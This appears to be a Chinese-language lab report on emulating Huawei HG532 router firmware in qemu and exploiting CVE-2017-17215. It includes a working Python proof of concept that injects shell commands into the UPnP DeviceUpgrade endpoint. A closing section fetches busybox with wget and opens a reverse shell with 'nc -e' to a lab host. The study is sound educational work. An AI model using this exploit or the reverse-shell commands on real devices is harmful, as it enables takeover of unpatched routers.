HG532固件模拟及漏洞分析

实验目的

本实验是对华为 HG532 系列路由器进行模拟执行及漏洞分析利用,通过本次实验掌握基于 qemu 模拟器系统模式(system mode)的固件模拟方法,基于 qemu 模拟器实现 HG532 系列路由器固件的模拟。学会使用 IDA 等工具开展漏洞分析,分析(CVE-2017-17215)漏洞,并基于 python 实现漏洞利用工具的开发,在过程中理解漏洞原理。


实验内容与要求

搭建 Ubantu+Binwalk+qemu 环境,提取 HG532eV100R001C01B020 固件,下载 qemu 启动虚拟机所需要的 32 位的 MIPS 大端存储镜像,创建虚拟网桥,实现 qemu 虚拟机内部和 Ubuntu 的通信,上传 HG532 文件系统并挂载实现路由器模拟执行,分析漏洞成因,并编写 POC 注入程序实现任意命令执行,最后提交实验报告。


实验原理与方法

提取固件

首先我们需要提前安装binwalk,这里不加赘述,详细安装过过程可以参考其他教程

我们解压二进制文件

1
binwalk -Me HG532eV100R001C01B020_upgrade_packet.bin

解压后主程序位于 squashfs-root/目录下

下载qemu虚拟机

使用下面命令安装;这里已经安装过了,显示如下

1
sudo apt-get install -y qemu binfmt-support qemu-user-static

下载镜像

执行命令

1
2
wget https://people.debian.org/~aurel32/qemu/mips/debian_squeeze_mips_standard.qcow2
wget https://people.debian.org/~aurel32/qemu/mips/vmlinux-2.6.32-5-4kc-malta

出现如下报错

修改/etc/resolv.conf文件,添加nameserver即可,下面给出两个通用的谷歌域名服务器,如果有自己解析服务器也可以换成自己的

1
2
3
sudo vim /etc/resolv.conf
nameserver 8.8.8.8 #google域名服务器
nameserver 8.8.4.4 #google域名服务器

重启虚拟机进行使用wget 命令,可以了。

1
2
wget https://people.debian.org/~aurel32/qemu/mips/debian_squeeze_mips_standard.qcow2
wget https://people.debian.org/~aurel32/qemu/mips/vmlinux-2.6.32-5-4kc-malta

配置网络,创建网桥

1
sudo apt-get install bridge-utils

1
2
3
sudo brctl addbr Virbr0
sudo ifconfig Virbr0 192.168.50.51/24 up
ifconfig # 查看配置情况

创建 tap 接口,添加到网桥

1
sudo apt install uml-utilities

1
2
3
4
sudo tunctl -t tap0
sudo ifconfig tap0 192.168.50.52/24 up
sudo brctl addif Virbr0 tap0
ifconfig # 查看配置情况

qemu 虚拟机配置

账号密码都为 root

1
sudo qemu-system-mips -M malta -kernel vmlinux-2.6.32-5-4kc-malta -hda debian_squeeze_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -netdev tap,id=tapnet,ifname=tap0,script=no -device rtl8139,netdev=tapnet -nographic

进入虚拟机后,配置 ip 地址,测试与主机的连通性

1
2
ifconfig eth0 192.168.50.53/24 up
ping 192.168.50.51 -c 3

如下图所示,网络成功连通

搭建 HG532e 漏洞环境

回到主机中将 squashfs-root 文件夹复制到虚拟机,根据提示输入密码 root

1
scp -r squashfs-root/ root@192.168.50.53:~/ 

进入启动的虚拟机,挂载程序文件

1
2
mount -o bind /dev ./squashfs-root/dev
mount -t proc /proc ./squashfs-root/proc

启动 shell,注意:这个 shell 是用来后面改 IP 地址的,

1
chroot squashfs-root sh

在 Ubuntu 里面再单独开一个终端,使用 ssh 连接上去通过 ssh 启动的终端,启动路由器

1
2
3
4
ssh root@192.168.50.53 
chroot squashfs-root /bin/sh
./bin/upnp
./bin/mic

此时的虚拟机的路由 IP 已经发生了变化,ssh 已经断开了,所以需要返回虚拟机的终端进行更改 IP 地址

1
ifconfig eth0 192.168.50.53/24 up

这个时候在 Ubuntu 上使用浏览器访问路由器 eth0 的 IP 地址

(192.168.50.53),就可以登录进入管理界面

默认的账号密码是:admin@Hua1234

用 IDA 打开 /bin/upnp 文件,这里使用了下面两个版本都有问题

这里没办法反编译

后来搞了半天,最后换成 IDA 9 成功反编译

通过搜索 system 等命令执行函数的交叉引用,查看存在的命令注入点。由于大部分命令执行函数的参数是硬编码过的,所以找到这个漏洞点并不困难,简单的搜索之后,就可以看到一个 snprintf 函数在传递参数的过程中,对参数没有做任何校验,然后 snprintf 读入的格式化字符串参数的地址被传递到了 system 函数中,system 调用 upg 来进行固件更新

编写 poc.py,功能是注入命令 /bin/busybox mkdir shell 创建一个 shell。使用 poc 进行命令注入,在第九行代码处注入代码,这里就是创建一个名为 11ctg11 的文件夹。

开始使用https一直返回500,这里需要使用http

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests 
headers = {
"Authorization": "Digest username=dslf-config, realm=HuaweiHomeGateway, nonce=88645cefb1f9ede0e336e3569d75ee30, uri=/ctrlt/DeviceUpgrade_1, response=3612f843a42db38f48f59d2a3597e19c, algorithm=MD5, qop=auth, nc=00000001, cnonce=248d1a2560100669"
}

data = '''<?xml version="1.0" ?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1">
<NewStatusURL>;mkdir /bin/11ctg11;</NewStatusURL>
<NewDownloadURL>HUAWEIUPNP</NewDownloadURL>
</u:Upgrade>
</s:Body>
</s:Envelope>
'''
res = requests.post('http://192.168.50.53:37215/ctrlt/DeviceUpgrade_1',headers=headers,data=data)
print(res)

ls 查看执行结果

远程命令执行漏洞,没有对代码中可执行的特殊函数入口做过滤,导致客户端可以提交恶意构造的语句提交,让服务器端执行。例如 web 服务器中的system、eval、exec 等函数, 在上面的 CVE-2017-17215 也算是远程命令执行漏洞的一种。通过本次实验,加强对路由器命令注入漏洞的利用的理解,并且通过对 binwalk 等工具 的使用,理解了实验中各个主体之间的关系,基本掌握不同指令架构下的程序运行方法。

反弹shell

这里由于固件上 busybox 版本问题无法直接nc,我们通过 wget 传输一个新版本 busybox,随后 nc 反弹 shell.

这里主机ip为 192.168.50.51,固件设备ip为 192.168.50.53

首先我们在主机 ip 启动http服务

1
python -m SimpleHTTPServer 8080

在固件设备上运行 (这里笔者自己创建了一个ctg的文件夹,在ctg目录下运行指令,实际上也可以直接修改 poc.py)

1
wget -g -l busybox-mips -r /busybox-mips -P 8080 192.168.50.51

同时主机端可以看到回显

主机监听 8080 端口

1
nc -lvvp 8080

执行

1
./busybox-mips nc -e 192.168.50.51 8080

0%